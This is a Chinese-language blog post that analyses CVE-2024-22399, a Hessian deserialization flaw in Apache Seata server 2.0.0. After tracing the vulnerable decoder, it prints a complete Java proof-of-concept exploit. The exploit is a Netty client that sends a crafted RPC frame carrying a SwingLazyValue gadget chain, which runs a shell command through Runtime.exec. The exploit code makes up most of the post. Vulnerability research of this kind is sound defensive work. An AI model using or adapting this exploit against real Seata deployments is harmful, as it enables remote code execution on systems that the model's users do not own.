CVE-2024-22399 Apache Seata Hessian反序列化漏洞
早上邮件收到一份漏洞预警信息:https://www.oscs1024.com/hd/MPS-dhq6-1iyr
看了看漏洞描述,很直接的Hessian反序列化,不过看补丁的修复,这里后面应该还会爆洞,简单分析一下。
补丁issue:
- https://github.com/apache/incubator-seata/commit/d577cfc147f7d6615e458016671d7953816ed193
- https://github.com/apache/incubator-seata/commit/736f2b936ad44c9cdda2a8b3dcc5884b3e0ff285
直接下载编译好的Server端,启动时候看进程是直接java -jar运行seata-server.jar,这个jar包里面有个Server类,用的Netty,找个decoder在io.seata.core.rpc.netty.v1.ProtocolV1Decoder下断点就行。(测试版本2.0.0)
ProtocolV1Decoder里面有个decodeFrame方法,具体如下:
public Object decodeFrame(ByteBuf frame) {
byte b0 = frame.readByte();
byte b1 = frame.readByte();
if (ProtocolConstants.MAGIC_CODE_BYTES[0] == b0 && ProtocolConstants.MAGIC_CODE_BYTES[1] == b1) {
byte version = frame.readByte();
int fullLength = frame.readInt();
short headLength = frame.readShort();
byte messageType = frame.readByte();
byte codecType = frame.readByte();
byte compressorType = frame.readByte();
int requestId = frame.readInt();
RpcMessage rpcMessage = new RpcMessage();
rpcMessage.setCodec(codecType);
rpcMessage.setId(requestId);
rpcMessage.setCompressor(compressorType);
rpcMessage.setMessageType(messageType);
int headMapLength = headLength - 16;
if (headMapLength > 0) {
Map<String, String> map = HeadMapSerializer.getInstance().decode(frame, headMapLength);
rpcMessage.getHeadMap().putAll(map);
}
if (messageType == 3) {
rpcMessage.setBody(HeartbeatMessage.PING);
} else if (messageType == 4) {
rpcMessage.setBody(HeartbeatMessage.PONG);
} else {
int bodyLength = fullLength - headLength;
if (bodyLength > 0) {
byte[] bs = new byte[bodyLength];
frame.readBytes(bs);
Compressor compressor = CompressorFactory.getCompressor(compressorType);
bs = compressor.decompress(bs);
Serializer serializer = SerializerServiceLoader.load(SerializerType.getByCode(rpcMessage.getCodec()));
rpcMessage.setBody(serializer.deserialize(bs));
}
}
return rpcMessage;
} else {
throw new IllegalArgumentException("Unknown magic code: " + b0 + ", " + b1);
}
}
主要是后面的部分:
Serializer serializer = SerializerServiceLoader.load(SerializerType.getByCode(rpcMessage.getCodec()));
rpcMessage.setBody(serializer.deserialize(bs));
SerializerType是个枚举类,当值为byte 22的时候返回一个hessian反序列化器:
public enum SerializerType {
SEATA((byte)1),
PROTOBUF((byte)2),
KRYO((byte)4),
FST((byte)8),
HESSIAN((byte)22),
JACKSON((byte)50);
}
对应的deserialize如下:
public <T> T deserialize(byte[] bytes) {
T obj = null;
try {
ByteArrayInputStream is = new ByteArrayInputStream(bytes);
Throwable var4 = null;
try {
Hessian2Input input = new Hessian2Input(is);
obj = input.readObject();
input.close();
} catch (Throwable var14) {
var4 = var14;
throw var14;
} finally {
if (is != null) {
if (var4 != null) {
try {
is.close();
} catch (Throwable var13) {
var4.addSuppressed(var13);
}
} else {
is.close();
}
}
}
} catch (IOException var16) {
LOGGER.error("Hessian decode error:{}", var16.getMessage(), var16);
}
return obj;
}
流程很简单,然后根据ProtocolV1Decoder对应的ProtocolV1Encoder重写一下构造Client即可,Poc如下:
package org.example;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.SerializerFactory;
import io.netty.bootstrap.Bootstrap;
import io.netty.buffer.ByteBuf;
import io.netty.channel.ChannelFuture;
import io.netty.channel.ChannelHandlerContext;
import io.netty.channel.ChannelInitializer;
import io.netty.channel.EventLoopGroup;
import io.netty.channel.nio.NioEventLoopGroup;
import io.netty.channel.socket.SocketChannel;
import io.netty.channel.socket.nio.NioSocketChannel;
import io.netty.handler.codec.MessageToByteEncoder;
import io.netty.channel.ChannelInboundHandlerAdapter;
import io.seata.core.protocol.RpcMessage;
import io.seata.core.compressor.Compressor;
import io.seata.core.compressor.CompressorFactory;
import io.seata.core.rpc.netty.v1.HeadMapSerializer;
import io.seata.serializer.hessian.HessianSerializerFactory;
import sun.swing.SwingLazyValue;
import javax.activation.MimeTypeParameterList;
import javax.swing.*;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Method;
import java.util.Map;
import static io.seata.common.util.ReflectionUtil.setFieldValue;
public class SeataPoc {
public SeataPoc() {
}
public void SendPoc(String host,int port) throws InterruptedException {
EventLoopGroup group = new NioEventLoopGroup();
try {
Bootstrap bootstrap = new Bootstrap();
bootstrap.group(group)
.channel(NioSocketChannel.class)
.handler(new ChannelInitializer<SocketChannel>() {
@Override
protected void initChannel(SocketChannel ch) {
ch.pipeline().addLast(new HessianEncoder());
ch.pipeline().addLast(new SendPocHandler());
}
});
// 连接到服务器
ChannelFuture future = bootstrap.connect(host, port).sync();
// 等待连接关闭
future.channel().closeFuture().sync();
} finally {
group.shutdownGracefully();
}
}
private class HessianEncoder extends MessageToByteEncoder {
public HessianEncoder() {
}
public void encode(ChannelHandlerContext ctx, Object msg, ByteBuf out) {
try {
if (!(msg instanceof RpcMessage)) {
throw new UnsupportedOperationException("Not support this class:" + msg.getClass());
}
RpcMessage rpcMessage = (RpcMessage)msg;
int fullLength = 16;
int headLength = 16;
byte messageType = rpcMessage.getMessageType();
out.writeBytes(new byte[]{-38, -38});
out.writeByte(1);
out.writerIndex(out.writerIndex() + 6);
out.writeByte(messageType);
out.writeByte(rpcMessage.getCodec());
out.writeByte(rpcMessage.getCompressor());
out.writeInt(rpcMessage.getId());
Map<String, String> headMap = rpcMessage.getHeadMap();
if (headMap != null && !headMap.isEmpty()) {
int headMapBytesLength = HeadMapSerializer.getInstance().encode(headMap, out);
headLength += headMapBytesLength;
fullLength += headMapBytesLength;
}
byte[] bodyBytes = null;
if (messageType != 3 && messageType != 4) {
SerializerFactory hessian = HessianSerializerFactory.getInstance();
hessian.setAllowNonSerializable(true);
byte[] stream = null;
try {
com.caucho.hessian.io.Serializer serializer1 = hessian.getSerializer(rpcMessage.getBody().getClass());
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(baos);
output.getSerializerFactory().setAllowNonSerializable(true);
serializer1.writeObject(rpcMessage.getBody(), output);
output.close();
stream = baos.toByteArray();
} catch (IOException var7) {
System.out.println(var7);
}
bodyBytes = stream;
Compressor compressor = CompressorFactory.getCompressor(rpcMessage.getCompressor());
bodyBytes = compressor.compress(bodyBytes);
fullLength += bodyBytes.length;
}
if (bodyBytes != null) {
out.writeBytes(bodyBytes);
}
int writeIndex = out.writerIndex();
out.writerIndex(writeIndex - fullLength + 3);
out.writeInt(fullLength);
out.writeShort(headLength);
out.writerIndex(writeIndex);
} catch (Throwable var12) {
System.out.println(var12);
}
}
}
private class SendPocHandler extends ChannelInboundHandlerAdapter {
@Override
public void channelActive(ChannelHandlerContext ctx) throws Exception{
// 连接成功时发送消息
RpcMessage rpcMessage = new RpcMessage();
rpcMessage.setCodec((byte) 22);
// evil Object
rpcMessage.setBody(GenObject("touch /tmp/123"));
ctx.writeAndFlush(rpcMessage);
}
public Object GenObject(String cmd) throws Exception{
UIDefaults uiDefaults = new UIDefaults();
Method invokeMethod = Class.forName("sun.reflect.misc.MethodUtil").getDeclaredMethod("invoke", Method.class, Object.class, Object[].class);
Method exec = Class.forName("java.lang.Runtime").getDeclaredMethod("exec", String.class);
SwingLazyValue slz = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invokeMethod, new Object(), new Object[]{exec, Runtime.getRuntime(), new Object[]{cmd}}});
uiDefaults.put("xxx", slz);
MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList();
setFieldValue(mimeTypeParameterList,"parameters",uiDefaults);
return mimeTypeParameterList;
}
}
public static void main(String[] args) throws Exception{
SeataPoc seataPoc = new SeataPoc();
seataPoc.SendPoc("127.0.0.1", 8091);
}
}
PS:本地测了下可以执行,但是发送多次程序会崩溃掉。
0 条评论
可输入 255 字